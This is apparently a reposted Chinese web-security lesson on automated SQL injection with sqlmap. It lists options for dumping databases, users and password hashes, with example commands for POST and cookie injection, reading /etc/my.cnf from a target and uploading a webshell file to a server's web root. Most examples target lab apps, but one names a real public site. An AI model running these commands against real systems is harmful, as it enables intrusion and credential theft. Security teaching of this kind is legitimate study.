风炫安全WEB安全学习第十八节课 使用SQLMAP自动化注入(二)

风炫安全WEB安全学习第十八节课 使用SQLMAP自动化注入(二)

  • –is-dba 当前用户权限(是否为root权限)
  • –dbs 所有数据库
  • –current-db 网站当前数据库
  • –users 所有数据库用户
  • –current-user 当前数据库用户
  • –random-agent 构造随机user-agent
  • –passwords 数据库密码
  • –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
  • –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

post注入

使用burpsuite截取包,然后保存文件为1.txt(文件名随便取),再使用 sqlmap -r 1.txt --dbs

cookie注入

sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)

读写文件

--file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

sqlmap -r "c:\request.txt" -p id –dbms mysql –file-dest "e:\php\htdocs\dvwa\inc\include\1.php" –file-write "f:\webshell\1112.php"

将本地的f:\webshell\1112.php 写入到 远程服务器上e:\php\htdocs\dvwa\inc\include\1.php

sqlmap -u "http://localhost/pikachu/vul/sqli/sqli_header/sqli_header.php" --cookie 'ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=6i60hcmeappdlkr216jovc0o6l' --level 2 --dbms mysql --file-read "/etc/my.cnf"

读取远程/etc/my.cnf文件

参考:
https://blog.evalshell.com/2020/12/20/%e9%a3%8e%e7%82%ab%e5%ae%89%e5%85%a8web%e5%ae%89%e5%85%a8%e5%ad%a6%e4%b9%a0%e7%ac%ac%e5%8d%81%e5%85%ab%e8%8a%82%e8%af%be-%e4%bd%bf%e7%94%a8sqlmap%e8%87%aa%e5%8a%a8%e5%8c%96%e6%b3%a8%e5%85%a5%e4%ba%8c/

猜你喜欢

转载自blog.csdn.net/hyj123480/article/details/111610905